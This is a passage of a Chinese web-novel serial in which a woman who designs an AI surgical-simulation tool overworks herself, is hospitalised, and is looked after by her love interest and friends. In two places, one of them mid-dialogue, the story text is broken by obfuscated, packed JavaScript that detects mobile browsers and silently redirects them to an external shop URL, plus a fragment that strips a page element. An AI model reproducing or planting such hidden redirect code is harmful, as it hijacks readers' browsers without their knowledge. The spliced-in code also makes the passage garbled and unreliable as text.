接着,曹艺萱告辞,申悦明和病人说了情况,女孩愿意转院。她和田田决定现在就去安真医院把女孩接到嘉嘉家开的私人医院,至少在那里病人不用担心凶手的家属再来施压。 她出门前叮嘱陶涓,“别工作太晚。” 陶涓也叮嘱她:“万一刚好碰上那家人,冷静,小心,先跑!唉,你们公司怎么不给你配个保镖、助理什么的?你好歹也是个角儿了!” “角儿个屁呀,我现在还是小卡拉米呢,再说,没助理有没助理的好处,多自由啊。” 曹艺萱走后陶涓不知不觉工作了一个多小时,她活动酸痛的脖子,忽然收到顾清泽的微信,两人聊了几句,他请求语音,陶涓开着免提继续工作,他听到敲键盘声,“你怎么还没睡?” 她简单讲了讲,原以为他会劝她先去睡吧,自己身体更重要,没想到顾清泽问:“要提高算法精确度,还是需要大量病例充实数据库吧?” 陶涓揉揉眼睛,有点无奈,“是啊……要是安真医院和其他几家医院能和私立整形医院共享病例数据库就好了。” 他沉默一下,又问,“我能帮你做点什么?” 陶涓不觉微笑,“暂时不用,我雇了好几个人分开了做,应该能按时完工。” “好。那你专心再做一会儿吧,别太累就行。” 顾清泽挂了电话,陶涓又继续工作,但身体和大脑都渐渐疲倦,决定今晚先到此为止。 关闭电脑后,她发了会儿呆,想到刚才和顾清泽的通话,忽然瞥到屏幕上自己不知道为什么嘴角向上翘着,像是有什么开心事又要憋着不告诉别人的样子。 她不觉又笑得更深。 第二天上午陶涓先去私立医院看望病人,李律师介绍的一位姓方的师姐也在,告诉女孩,“你不用担心律师费……” 女孩含着泪,点了点头,含混不清说“谢谢”。 陶涓和温医生一起看完病例,先做了一次模拟,和女孩原先的照片对比,术后效果看起来有些呆板,温医生说,“今天下午我会再做一次锥形束CT,希望能定位到更多骨碎片。” “能让她恢复原先的样子吗?” 温医生苦笑,“只能尽量。鼻背和鼻中隔塌陷很严重,有可能需要植入自体软骨来支撑。” 见陶涓一脸担忧,他又安慰,“要让病人恢复妈生脸,很难,但让她看起来像是去do过什么又看不太出来,我自问还是有把握的。” 告辞后她又马不停蹄去安真医院,卡在申悦明午休的空档和她食堂见一面,“能不能跟医院申请开放数据库?跟方舟的合同可不包括让他们独享数据呀。” 申悦明摇头,“就算医院同意,也没那么快,要讨论,要审批……” 她疲倦地捏额心,捏得皮肤通红,“幸好昨天晚上你闺蜜她们把人接走了,今天早上老畜生们果然又来了!一看人跑了拉开架势要在病房闹,雷主任报警才把人赶走。” 两人正说着,周测忽然走来,“雷主任怎么了?” 申悦明脸一红,“今天早上我们科有人来闹事……” 她讲了经过,周测一直皱着眉看陶涓,“唉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她稳一稳神,“好的。我知道了。我会更小心的。” “嘀——” 周测刷卡,推开门,陶涓走出去,回头看看,他已经转身沿着走廊离去。 正中午的日头很烈,陶涓沿着建筑边走向医院大门,到了等车点的棚子下,手脚还是冰凉的。又等了一会儿,她才想起自己还没叫车。 上到车上,不知是因为司机放的香薰气味她不喜欢,还是交通拥堵总得停车,陶涓觉得自己有点晕车。 回到家找出风油精涂在脑门和人中上,好一会儿才舒服些。 她打开电脑,先准备下午的工作,又和孟霄、几个临时工开个碰头短会了解下进度。 这些忙完了已经下午两点半了,忽然感到饥肠辘辘,才想起来自己还没吃饭。 她一边烧水煮面,一边拿了片吐司面包啃,刚把蛋打进去,有人按门铃。 来的是顾清泽的小秘书沈峤,她提了两个超市购物袋,“老板吩咐我来的。” 她买了些蔬菜水果,两盒西冷牛排,和一盒巴斯克蛋糕。 陶涓谢过她,请她喝杯茶再走。她烧上水,放好食物,给沈峤泡了杯格雷伯爵茶,切一块蛋糕,自己盛了面吃。 沈峤说:“陶小姐,顾先生说你这几天会很忙,让我移动办公,你要是需要,我就在这儿,要是暂时不用我,我就在他对门的公寓里,你有事随时叫我。” 陶涓很是感激,连忙给沈峤准备了一片办公区域。虽然沈峤帮不上忙,但是有个人和她一起在工作,让她有种安心感,工作效率也高了。 她想给顾清泽发条微信感谢,对着手机犹豫好一会儿,发了个小比格比心说谢谢的表情。 顾清泽一直没回复,直到傍晚才直接打来语音,“刚才在法院,没法用手机。你那边情况怎么样?要不要再雇几个人?” “目前进度还行……”陶涓活动酸痛的颈项,“不是我不想找人,是能力适合也合作过的就这么几个人,临时找不到更多了。我待会儿可能会更以前的同事大刘和罗莹联系一下,看他们能不能受累当个兼职做一部分……你那边情况怎么样?” 顾清泽沉吟一下,“不好不坏。沈峤帮得上忙吗?她说她做饭超好吃我才让她来的。” 陶涓笑,“小姑娘挺好的。真得谢谢你。” “那就好。反正我不在北市,她也没什么正经事要做,哪怕给你打打下手,跑个腿,能给你节省点时间就好。” 陶涓真心感激,顾清泽真的是为她考虑得很周到,这时候也说不出什么感激的话了,只默默地笑,忽然她又想起周测告诉她的事,心头猛地像被针尖扎了一下,赶紧把惶急的情绪压下去,问他,“你什么时候回来?” “后天。后天下午我一定回来。” “嗯。”陶涓用力点点头,又意识到他看不到,不由轻轻叹气。 他察觉到她情绪低落,“你怎么了?不是说进度还可控吗?” 陶涓脸上一热,捂着额头笑道:“没事。不是项目进度的问题。我只是……”只是想让你快点回来。 她对自己第一次坦白了。 可是,对顾清泽,她却说,“可能稍微有点累了。” “那你快去休息吧。”他催她,“我晚点再联络你。” 沈峤说自己厨艺好可能有点夸大其词了,她做饭是典型的北市口味,浓油赤酱,你甭管味儿怎么样,盐管够。 但人家都做好了,陶涓不可能有怨言。 吃过晚饭,陶涓稍微休息一会儿,继续工作。正忙碌的时候,孟霄打来电话,开门见山说,“师姐,你这个活儿我能不能缓几天再做?” 陶涓很惊讶,“昨天不是说好……” “我刚才接到一个急件……” 陶涓急了,“急件?我这个也是急件啊!什么事能比我这个还急?这可能关系到一个女孩一辈子的!” 孟霄不吱声,陶涓揉揉心口,“对方给你多少钱?我这边给你一样的,行不行?”她说到后来已经有点低声下气,罗莹和大刘这个点都还没放工,到新公司还没站稳脚跟当然得卖力加班,她眼下是真找不到人手。 没想到孟霄想了一会儿说,“你还是找别人吧,我刚接这个活儿是个大单,以后还有后续的,这次推了,以后可能就没这机会了!” 陶涓气得提高声音,“我这个也有后续!” 孟霄笑了一声,“师姐,不是我不想帮你,你以为我不知道你开了工作室接活儿吗?你才进这个门几天?人家搞这个十几年的!换做你是我,你跟谁合作?” 陶涓气得手都发颤,孟霄竟然还暗示她从中渔利了,眼看无法挽留,她只好忍气吞声说,“好吧,你把文件传输给我。” “你先给我钱。” 陶涓脑门上有根筋直蹦,还真担心他扣住文件不给,立刻转账。 片刻后,孟霄的手机响了一声,大概是银行的收款提示,他才说:“我发给你。” 放下手机好一会儿,陶涓手指还在发抖。 沈峤早就听出不对,“陶小姐?” 陶涓深呼吸几次,咬牙道:“我不就信缺了你就做不成了!” 41.梦非梦 这天晚上陶涓睡得比平时晚得多。 顾清泽说要再联络她,不知什么原因一直没有。 也许是以为她已经睡了吧? 为了补上原本分配给孟霄的那部分,她一直工作到深夜两点多,突然间心脏一阵阵悸动,头也开始晕。 她知道自己必须要休息,胡乱洗漱一下就躺下,可大脑太过兴奋,胡梦颠倒,先是梦到自己还在赶工,向周围一看竟然回到了方舟,黄霸天和他的狗腿子奸笑着奚落她,“还以为自己是刚毕业的时候啊?还以为自己是公司押宝的汗血宝马呢?哈,告诉你,就算你是汗血宝马,老了也跑不动了!” 说着恶狠狠抓她手臂要把她拉起来,“你知道老的赛马会去哪里吗?狗罐头加工厂!快滚蛋,腾出位置给更年轻的马!” 陶涓吓得心脏倏倏乱蹦,奋力挣脱,沿着楼梯狂跑,后面有人用力拽她,她一路翻滚着从楼梯上摔下来,陆扬追上来勒住她脖子,“是不是你?是你怂恿曹艺萱跟我分手的!” 陶涓惊叫着醒来,沈峤从隔壁房间跑来,“你做恶梦了?没事吧?” 她大口喘着气,“没事,我热醒了。” 沈峤端了杯温水来,陶涓道谢,喝了几口水,“不好意思,把你也吵醒了。快回去睡吧。” 她重新躺下,跟自己说,你得振作,还有人等着你的帮助呢。 第二天早上醒来时陶涓就觉得头重脚轻,沈峤已经做好了早饭,她吃了几口小米粥,突然胃里一阵抽搐,冲到卫生间吐了。 沈峤急忙跟过来帮她搂起长发,又摸一下她额头,“哎呀,你好像有点发烧!” 陶涓量了体温,37.5,对别人可能还算正常,但她平时体温36,确实是发烧了。 怎么偏偏在这个时候生病? 她回忆一下,昨天也没受冻,没着凉,怎么就病了? 她这个破身体怎么就这么不争气? 气恼也没用。形势比人强。 她忍着恶心吃了半个花卷,又吃了两粒扑热息痛上床休息。 平时吃了药很快就觉得困倦,可今天躺了一个多小时也没睡着,情况也不见好转,仍然头痛欲裂,眨眼睛时眼窝里面像有沙子。 陶涓不敢再抱着侥幸,先打电话给Rosy告假,连连道歉——李唯安休产假,工作原本就比平时多,她一病倒,Rosy难免要独木难支。 Rosy却并没抱怨,还劝她,“干嘛要道歉呢?生病又不是你能控制的。好好休息。” 挂了电话陶涓又去联系温医生,问他病人情况怎么样,决定手术时间没。 温医生说今天早上血肿又消了不少,刚做了一次CT,骨折碎片基本都找到了,因为鼻骨、鼻中隔的塌陷都非常严重,确定需要移植自体软骨,他正在做模拟,是要取双侧耳软骨,还是要取肋软骨。 这两种选择的手术风险又不一样,需要再三衡量,如果要取肋软骨,等下要拍X光确认肋骨的钙化情况,如果没有足够的软骨,就要考虑用人工材料做支撑,那么又要在几种材料中抉择。 陶涓说了自己这边的情况,“希望下午可以好一点,手术的最佳期限最晚是哪一天?” 温医生踌躇一会儿,“三到四天后。因为有些小碎片太小了,只有一到两毫米,如果不尽快复位,会和其他组织长在一起,这之后再手术,难免要撕裂一些黏膜去找碎片。” 陶涓听了心一沉。一般求美者的鼻综合手术不会有这么复杂且凶险的情况,可想而知,对AI模拟应用的精准化术前规划、智能化术中导航的要求都会比之前更高。 “病人的情绪现在稳定下来了,这对她很重要。”温医生又安慰她,“不过你也别着急,尽量休息。” 陶涓捂住额头,“我知道了。” 她又看看手机,大刘昨晚回复说看今天有没有空,现在还没新消息,罗莹说她会试试能不能临时请半天假,让陶涓祝她好运。 陶涓睡了一觉,到了中午仍然不觉得饿,起床走动一会儿,没吃下什么东西倒又吐了一次。 沈峤又给她量了一次体温,还是37.5,她开始担心了。老板吩咐她来照顾陶小姐,结果才来一天陶小姐就生病了,这让她怎么交待? 她果断联系陶小姐的闺蜜曹艺萱。 曹艺萱一听就急了,“她很少发高烧,37度2就不得了啦,我这就来!” 她一到,先把陶涓训一顿,“心肌炎还没好透呢你就敢作妖了?走走走,赶快去医院。” 这时陶涓自己也有点担心了。 沈峤问她,“是去安真医院还是上次的私立医院?” 曹艺萱想一想,“还是安真医院吧。”上次住院的主治医生人不错,还有周测、申悦明这些熟人。 到了医院一番检查医生还是让陶涓先住院,“血象不太理想,心脏也有些杂音,虽然看起来只是夏季中暑了,最好还是先住院观察,如果再次病毒感染也能及时应付。” 打上点滴后,陶涓渐渐不觉得想吐了,又开始担心是心肌炎复发了,曹艺萱安慰她,“这几天突然热得厉害,你身体本来就弱,一不小心,从空调房间到外面再一热就很容易中暑,可能喝几瓶藿香正气水就没事了,咱们这是未雨绸缪,你别瞎想。” 陶涓一想也是,昨天从医院回来,坐车的时候就觉得不舒服了,当时还以为是晕车了。 这时曹艺萱手机突然响了,她接起来,隔着老远陶涓都能听到有人在咆哮,“你是不是不想要这个角色?我们人都到了,你在哪儿呢?赶快过来!” 曹艺萱脸色难看,皱着眉举起手机,陶涓赶紧拽她,连连摇头。 她按捺住,“好的好的蓝总,我马上到!马上到!我已经在路上了!” 挂了电话跟陶涓抱怨,“看,我就是个孙子!我这就回去装孙子!” 陶涓又是内疚又是担心,“你怎么不说你要去试镜?” “试个屁的镜!八字都没一撇。”曹艺萱安慰陶涓,“人家是冲梅姐来的,我是去凑数的。唉。不红是原罪。我去陪这帮孙子吃个饭,晚上再来看你。” 陶涓让她快走,“我保证听医生的话,你别担心我。” 躺了一会儿有了点胃口,沈峤已经从半岛酒店叫了几份清淡粥点,陶涓吃了一点睡着了。 下午护士来拔点滴时她醒了,感觉似乎是复活了,急忙又从行李箱里拿出笔电,然后又想起好一阵没看手机,打开一看,顾清泽发了一串文字消息,先是说知道她生病了,让她安心养病,又解释昨天他那边耽搁得太晚,以为她已经睡了就没再联系她,接着一连几条都是让她放宽心,模拟应用肯定能及时更新。 最后一条,他说:我已经在飞机上了。 陶涓握着手机,呆了一会儿回复道:我已经好很多了。 她刚回复完,顾清泽打来语音,她接通,他故作轻松说,“沈峤也说你烧退了,还吃了饭,你看,我就说你不会有什么事。” 也不知为什么,她一听见他的声音,鼻子立刻酸了,莫名觉得委屈,知道这时无论回答什么声音都会异样,只用力点头说,“嗯。” 顾清泽此时在云端之上,听到她的声音反而更觉得焦心,明明他两天前离开时她还好好的,想到沈峤说的昨晚有人突然退出,陶涓工作到深夜,他猜她是太过劳心劳神,“别担心。一定能解决。” 陶涓又“嗯”了一声,听起来似乎有些哽咽。 顾清泽想,她是不是在哭?他犹豫一下,想问她要不要转视频,但又想到,她那么要强的人,一定不愿意他看到自己脆弱的样子,心头百转千回,终于只是说,“我五个小时后就会到达北市。你先安心休息。” 隔了几个呼吸的时间,她才慢吞吞说:“好。” 机舱里能听到引擎的嗡鸣,类似白噪音,座椅十分宽敞舒适,乘客也只有他和随行的几人。 但是顾清泽突然如坐针毡。 他站起来走动,看看舷窗外面如山的云朵,心中生出一种无法排解的惶急。 核桃木面板上镶嵌的屏幕上显示着飞机航路,他现在身处太平洋上空,沿着大陆的边缘,一点一点,向着她前进。 接了顾清泽的电话后陶涓又睡着了一会儿,再次醒来已经快六点了,她重新打开笔电工作,敲了一会儿键盘又觉得头晕,只好抱着电脑闭目靠在床头,这时有人敲了敲房门,竟然是罗莹! “给你发微信一直没回,问了曹艺萱才知道你又住院了!”她拉开床边的椅子,掏出包里的笔电,“来来来!我能做什么?” 陶涓一看手机,才发现罗莹给她一串微信,说自己没能请下来假,不过上司发了点慈悲,让她今天按时下班,她下班就过来。 罗莹能来陶涓感激不尽,当下也不跟她客套,把原先分给孟霄的那部分活儿分解成几份给她一份,再跟罗莹讲解。 她们两人长期合作过,罗莹很快弄明白自己负责的那一部分应该怎么做,一边敲键盘,一边吐槽孟霄不讲义气,“不过这确实是他能干出来的事!他也不是第一次为点小惠小利搞得自己不像人——你知道当初方舟为什么实习期后没签他吗?” 陶涓还真不知道,孟霄在实习期工作表现不能说非常出色,但也足够配得上一份合同,没想到当时的部门主管只给他填了实习推荐,没雇佣合同。 “为什么?” “嗐,我都不知道该怎么说他——咱们部门那时不是总会接待客户吗?有时也会有客户接待我们,请我们到餐厅吃个饭什么的?” “嗯,然后呢?” “有次咱们去H市另一个大厂谈项目,他们那里包间的规矩是每个客人面前都放一盒高档香烟,你有印象吗?” “这哪记得,我又不抽烟。” “是啊,不抽烟的客人,吃完饭服务员就把烟收回去了,孟霄可倒好,把几个女同事还有人家大厂的女职员没动的烟都装他自己包里了。主管有东西忘在包间回去拿,刚好看见他在那儿挨个搜罗香烟!”罗莹摇摇头,“啧。她跟我吐槽,就没见过眼皮子这么浅的孩子,好歹也是T大毕业的……” 陶涓沉默一会儿,“可是孟霄他并不抽烟。” “那不是更糟糕?拿了去卖!” 罗莹没再继续吐槽,认真敲起键盘,“我来的路上打电话给大刘,这倒霉蛋还在加班呢,我看他今天是指望不上了,不过他说明天他部门主管出差,大家都能摸鱼,到时能跑到咖啡店帮咱们做一会儿——他让你提前给他分好他那份活儿。哦对了,你把我俩也拉到工作群里……” 陶涓还是头晕,只能做些简单工作,拉拉群,追追进度,又从Rosy那里拿了今天的会议备忘录,正忙要打开看,沈峤提了外卖餐食饮料来,陶涓收起笔电,感激道,“真是麻烦你了。” 沈峤笑着,“也不知道合不合你胃口,我按老板给的单子挑了几样。” 陶涓连连道谢,再介绍她和罗莹认识,又问她吃了没有。 沈峤办事十分周全,餐食饮料都有余量,还给护士们送了些零食和饮料。 三个人一起吃了饭,陶涓让沈峤回家休息,“你忙前忙后一整天了。” 沈峤知道她是好意,但这个时候她哪能回家呢,“没事,我八九点再回。”怎么也得等到老板来了,看到她兢兢业业在医院守着陶小姐才能功成身退。 三个人正说着话,周测和申悦明耶来看陶涓。 周测之前来过两次,陶涓都睡着,这才说上话,问了几句后皱眉责备她,“昨天回家之前你就不舒服了,当时怎么不说?” 申悦明悄悄拽一下他衣袖,“夏季中暑不就是这样嘛。” 陶涓哼哼两声,“好好好,以后注意。” 罗莹不知道她和周测早就分手了,心里吐槽陶涓这未婚夫,也不知道是不是人长得太好了,所以上天就得给他一张“歹嘴”平衡一下。 歹嘴,在她家乡的意思就是说不出好听话的嘴巴,明明是关心的话,偏偏话一出口就叫人听了不舒服。 沈峤则终于明白为什么陶小姐会跟她这个连医院职工宣传照都帅得惊为天人,看起来无懈可击的未婚夫分手了——哪怕是吴彦祖,天天这个样也没人受得了。这还是在这么多外人面前呢,要是私下两个人,恐怕更要严厉批评了。 周测感到病房里气氛不对,语气转得温和许多,“都住院了就别再想着工作的事了,好好休息。”他又跟罗莹打个招呼,这才离开。 他一走,病房里顿时热闹起来,罗莹拍拍心口,“目光如剑啊!你未婚夫跟我高中班主任气场好像,而且都会用眼刀!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346984|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “早不是未婚夫了,我们分手三四年了!”陶涓赶快说。 “啊?”罗莹先惊讶,然后点头,“明智,明智。谁将来嫁个这样的老公都得少活几年!” 沈峤偷偷瞅一眼申悦明,没做评价,申悦明却很敏感,脸红一阵白一阵,陶涓不知该说句“可能他对我才这样”安慰她,还是干脆假装没看到,最后决定把话题引开,转述温医生的话。 申悦明认同,“病人是我从急诊接手的,当时我最担心的是鼻骨严重塌陷和骨碎片会影响视力,现在看起来最糟糕的没有发生,已经是不幸中的万幸了,又有温医生、李律师和你、曹艺萱……”她又看看罗莹沈峤,“你们这么多好心人愿意帮她,她运气已经在变好了,手术一定会成功。” 九点多了,医院的探病时间结束,曹艺萱发来消息,陪孙子们连吃两顿饭了,现在要去梅姐家打麻将,她还得继续去伺候。她还发了个小猫拿着蓝色刺叉怒喝“尻他爷!”的表情表示愤怒。 陶涓立刻回了个仓鼠拿着粉色刺叉高喊“鳖孙们!”的表情附和。 罗莹提上电脑告辞,临走前安慰陶涓,“别急,慢慢来,先养好身体。还有我们这些人呢。” 护士来查房,看到沈峤还在,“你是23床病人的访客?探访时间到了。” 沈峤连说马上就走,打发走护士,她跟陶涓说,“等你睡着我就走。” 陶涓原本还想再看几眼电脑,听她这么说,只得放下一切洗漱就寝。 医院里总有各种声音,即使是夜间,也有不同机器发出声响,走廊和病房的灯熄灭了,也还有机器发出的光,护士站更是灯火通明。 陶涓右手食指戴着连接血氧检测器的指脉氧夹,监测器每隔几秒就“嘀”一声,自然睡得不踏实,醒了一回,睁眼看看,沈峤似乎是回家了,总算放下一桩心事。 再睁开眼,周围一片漆黑,冷飕飕的,她站起来,摸索着走了几步,忽然发觉自己已经不在医院,四周空荡荡的,摸不到任何东西,也无法判断自己是在室外,还是在一片空地上,她又向前走了一步,脚下忽然又失重的感觉,似乎是在一个陡坡上,又好像浮在半空中。 她不敢再走,在原地愣了一会儿,忽然意识到自己是在哪里——是在顾清泽的噩梦中! “顾清泽——”她大声呼唤他,“我在这里!你在哪儿?” 她叫了几声,只听到自己的声音传得很远,很远,好像隐隐有回声,也许,她是站在一座悬崖边上?这么一想,似乎有风从她脚下涌动。 她再次呼唤他,“顾清泽——” 回声像是撞到了千仞巨壁被弹回来,只有她的声音,再听不到任何回应,可她不气馁,继续大喊:“顾清泽——我在这儿!你在哪儿?” 忽然,有人在黑暗中握住她的手,“我在这儿。” 他的声音坚定平静,丝毫没有慌乱,她大喜过望,用力回握他的手,“太好了!我找到你了。”或许,该说他找到她了?陶涓迷惑又开心地笑了,她听到自己的笑声,又听到顾清泽迷惑而无奈地笑,“你醒醒……” 她眨了眨眼睛,微弱的光线从病房门上的玻璃投进来,昏昏暗暗中,顾清泽真的坐在她身旁,她也真的握着他的手! 陶涓挣扎着要坐起来,顾清泽扶她肩膀,“慢点,你要什么?我帮你拿!” 她摇摇头,傻笑着揉揉眼睛,看了他一会儿,问:“你怎么来了?你什么时候来的?现在几点了?” 可能因为光线实在太昏暗,看不出他有什么疲色,反而显得眼睛更亮,于是他双眼里的笑意也更无遮拦,他看着她默默笑了一两句话时间,才低头看看腕表,“现在刚刚过午夜。” “你来多久了?你累不累?”陶涓又问。 “你刚才梦到什么了?”他小声问,紧接着又说,“我才刚来了一会儿。” 陶涓忽然不敢看他,一股热气不知从哪儿蹿到脸颊,只一瞬间,连眉毛耳朵都是烧烧的,她有点庆幸灯光昏暗,成了她的保护色,这念头刚一转,一个护士推开门,走廊的光如水倾泻进来,幸而护士是对他说话,“顾先生,病人得多休息,有什么事明天再说吧。” 顾清泽唯唯诺诺,“好的,好的。” 护士一走,他和她相视而笑,他站起来,有点不放心,“好好休息,明天我来看你。别担心,事缓则圆。” “嗯。”她用力点头。 他走到门口,又转过身嘱咐,“千万别觉得‘既然已经醒了就再做一会儿’,你现在最重要的任务就是休息,这样才能快点好起来。模拟应用的算法核心是你设计的,只能等你注入灵魂,其他人都可以被取代,只有你不行,所以你一定要先好起来。” 她举手保证,“好。我会好好睡觉,明天早上再开工。” 话是这么说,顾清泽走后,陶涓还是摸出手机,她想点开工作群看一眼,却突然注意到手机时间显示是凌晨3点15分。 可顾清泽刚才说才过了午夜。 她合上眼,想起和曹艺萱那时讨论的话题。曹艺萱提醒她,人是会说谎的。 那么,顾清泽,会不会也对她说过谎? 哎,等等,曹艺萱还在梅姐家打麻将吗?该不会出什么事吧? 陶涓惊得出了身汗,脑子里乱七八糟闪现一堆娱乐圈丑闻,赶紧给曹艺萱发微信,“能去你家拿仓鼠吗?” 这是她和曹艺萱约的紧急信号。 一分钟后曹艺萱打来视频,先是一阵狂笑,“哈哈哈哈——姐们儿,我要有新角色啦!” 陶涓看到她是在自己家卫生间,正在卸妆,先放下心,“什么情况?” 曹艺萱还沉浸在诧异和狂喜当中,喜欢打麻将的老孙子——不,雷导,被她精湛的麻将技艺给狠狠震撼了——当然她的演技和颜值也起了些作用,不过蓝总说是她这股娇蛮不把大人物当事的烦人劲儿——总之,雷导给了她一个试镜机会,他下一部电影里有一个明面是爱打麻将的军阀姨太太实则是双面间谍的角色,她看起来很适合。 “明天我要去长市试镜。”那里有民国主题的影城。 陶涓由衷为她高兴,“太好了!” 曹艺萱又叮嘱她,“好好睡觉,多休息。” “你也是!”陶涓又觉得充满力量了。 42.心跳 陶涓胡思乱想了好一会儿才再次入睡,本以为还会做一堆乱梦,谁知再醒来时天光大亮,主治医生已经带着一群实习生来查房了,拿起她床尾的病例看了看,吩咐其中一个道:“23床待会儿再抽一次血。” 陶涓一听就苦脸,她最怕抽血。 这时沈峤提着食盒进来,小声跟她招呼,“看你还睡着我就没叫你。” 陶涓赶紧起来洗漱,又向她连声道谢,沈峤笑道:“您别谢我,我就跑个腿儿,这都是我老板订的,我算是跟着沾光了,平时半岛酒店的早餐我还嫌贵不敢随便吃呢。” 那也得承人家情,现在才早上8点多,不知道沈峤在哪儿住,一大早先去半岛酒店再来医院给她送早餐,得起多早? 陶涓悄悄给曹艺萱发消息,让她参谋一下,给小姑娘买个什么礼物,这今天沈峤可真帮了她大忙。 曹艺萱很快回复了个斜眼看人的比格犬表情,“人家老板肯定给奖金了!你凑什么热闹?真要谢,你不该谢谢顾清泽吗?” 陶涓仰头看看天花板,对哦。很奇怪,她没想过要专门向顾清泽道谢。并不是她对他做的一切毫无知觉,而是……而是她对他所做的一切,另有一番情绪。一想就会让她莫名其妙微笑。 吃了早餐,趁着还没打点滴,陶涓赶紧打开电脑手机,一边核实进度,一边跟温医生联系。 温医生说病人的情况目前稳定,没有感染,血肿在继续消退,如果一切理想,明后天安排手术是最合适的, 再看进度,罗莹接过孟霄那份活儿之后做得非常不错,她大概是昨晚回家后又熬了挺久,陶涓给她发个两只小狗拥抱的表情:姐们儿,谢了!今晚别熬了,好好休息。 罗莹秒回:是老刘!他昨天半夜从我这批发了点活儿,干得还不错。他说今天一天他都能摸鱼,我又给他批了点,你别做重复了。 罗莹:老刘说他不加群了,怕被人抓住蛛丝马迹查出身份举报给他现在的公司。他这公司老板鼓励举报私下接零活的,之前真有人被举报被开了。 陶涓吸口气,回复:好的。那我以后在群里叫你们头像吧。 罗莹:哈哈哈!好啊!我赶快换个好玩的头像。 她现在的头像是一只端着AK扫射的藏狐。 陶涓噗地笑一声,忽然听到周测阴阳怪气,“唷,还挺高兴的,看来是白为你担心了!” 她转过头,周测提了一盒蛋糕放在小餐桌上,她一点也不生气,笑着问,“你想表达什么?关心我?那你为什么看着我笑还挂着脸?” 周测愣一下,从前陶涓可不会这么跟他说话,即使分手了也没这么噎过他。 他没敢再说什么,问她今天都要做什么检查,又看了看病历本,“心率和血氧都还行,还是有低烧……” “那是不是说明我有感染?”陶涓想起之前他说过如果再感染,心脏瓣膜上的裂口可能变大,就要进行手术。 周测微微犹豫,“不一定。要看抽血化验结果。” 他想了想,“你先别瞎想!只管安安生生休息。赶快把你电脑关了吧,就没看见哪个病人住院了还这么用功的。” 陶涓有点不适应,要是搁从前,周测会直接把她电脑拿走,现在竟然会说软话了。 “我是项目负责人,联络好大家,安排好今天的工作才能休息,不然我不会安心。”她解释完对周测挥挥手,“你快去忙你的吧,你的实习生都等着你呢!” 周测只得匆匆离开。 陶涓刚把今天的活分配好,Rosy打来电话,问她病情如何,又说,“我和几个同事给你买了花还有点心,待会儿送过去,你安心养病吧,太平合同工也有带薪病假,不用担心。” 陶涓倒不是为薪资担心,只是觉得李唯安产假,自己又生病,有点对不起Rosy他们,Rosy大感奇怪,“你在说什么啊,就算我们雇了个长期员工,是人就会生病,人家也有可能请病假啊!” 她推断,“一定是你以前那个不讲劳动法只会对员工情绪勒索、压榨的公司给你洗脑了。” 陶涓挂了电话,认真思考,是这样吗? “想什么呢?” 陶涓一听是顾清泽的声音就不自觉地笑,回过头,见他捧了一束花,鸢尾、小苍兰还配了些薰衣草和洋牡丹,深深浅浅的紫色,芬芳扑鼻,他把花放在墙角的小柜子上,“买了花才想起医院没花瓶,花店那些没一个好看的,我挑了一个最不丑的。” 她看花,“花这么漂亮谁还会注意花瓶呀,何况一点也不丑。”她借着整理花束,偷偷看他,见他眼下还微微透青,“你今晚别来陪我了,好好睡觉……”说完才觉得有点自作多情,人家又没说今天晚上还要来。 顾清泽笑着看她,“好,我今晚早点回去,等你睡着我就走。” 他声音低低的,可是却像会引起某种震动,让她喉咙还是胸腔某处有点痒痒的,她垂下头,觉得脸颊也发热。 这时一个护士走进来,“来吧,抽血!” 陶涓顿时全身僵硬,一步一挪坐到床边,看一眼护士几乎想要夺门而逃,“不是昨天才抽了吗?” 护士狞笑,“昨天是昨天的,今天是今天的!” 她极不情愿伸出左臂,护士在她手肘内侧按了按,“你晕血呀?” “嗯。”陶涓看一眼针筒,赶紧闭上眼睛转过头。 顾清泽走到她身后,一手扶住她肩膀,一手盖住她双眼,“没事的,想点别的,一会儿就好。” 陶涓心脏嘭嘭乱跳,她有点意外,顾清泽的手原来这么大,能轻易覆盖她整张脸,他袖口是戴了袖扣吗?冰凉的金属质地,擦到她的耳朵,有一股淡淡的木质香从他袖口传来,似乎还带着体温。 “嘀嘀——”血氧监测器突然提高响声,陶涓脖子都滚烫了,她怎么忘了自己手指上还戴着指脉氧夹。 幸好护士笑道:“哎呀,你是真的很怕抽血呀,心跳一下上到120了!” 陶涓干笑两声,顾清泽可能是真信了护士的话,像安抚小孩似的轻轻抚摸她肩颈,“就快好了。” 其实抽血的整个过程可能也就几分钟,但陶涓觉得特别漫长,护士带着血样离开,她才慢慢睁开眼睛。 顾清泽摸摸她头顶,“想吃巧克力吗?”说着从西服外套内袋里掏出一小块巧克力。 陶涓含着巧克力,脸还是热乎乎的,心里极盼着顾清泽能多待一会儿,可只能问他,“你今天会很忙吧?” “还好。待会儿要开个会,下午应该就没事了。”他帮她调高床头,“沈峤今天会陪着你,有什么事,需要什么东西,只管告诉她。” 陶涓不好让自己表现得恋恋不舍,爽快地答应,还催他,“你快去办你的事吧,要是实在忙,真的不用来看我。” 顾清泽走到门口,又倒转过来,从内袋里又掏出块巧克力放在她被子上,“多休息,多睡,这样才能早点出院。” 陶涓捏着巧克力,看不到他背影了才剥开糖纸,巧克力被她手捂化了一点,粘在指尖,她含着巧克力,发现这和刚才那颗口味不同。刚才是甘纳什,这颗是海盐焦糖。 不一会儿沈峤来了,她给护士们买了奶茶咖啡和蛋糕,然后悄悄顺进来一张折叠小桌子,“医院的桌子太窄了,放电脑不方便,我跟护士姐姐们求了个情。” 这小桌子可帮了陶涓大忙。 她可以坐在椅子上办公,趁着身体状况不错把前两天的工作赶出来。 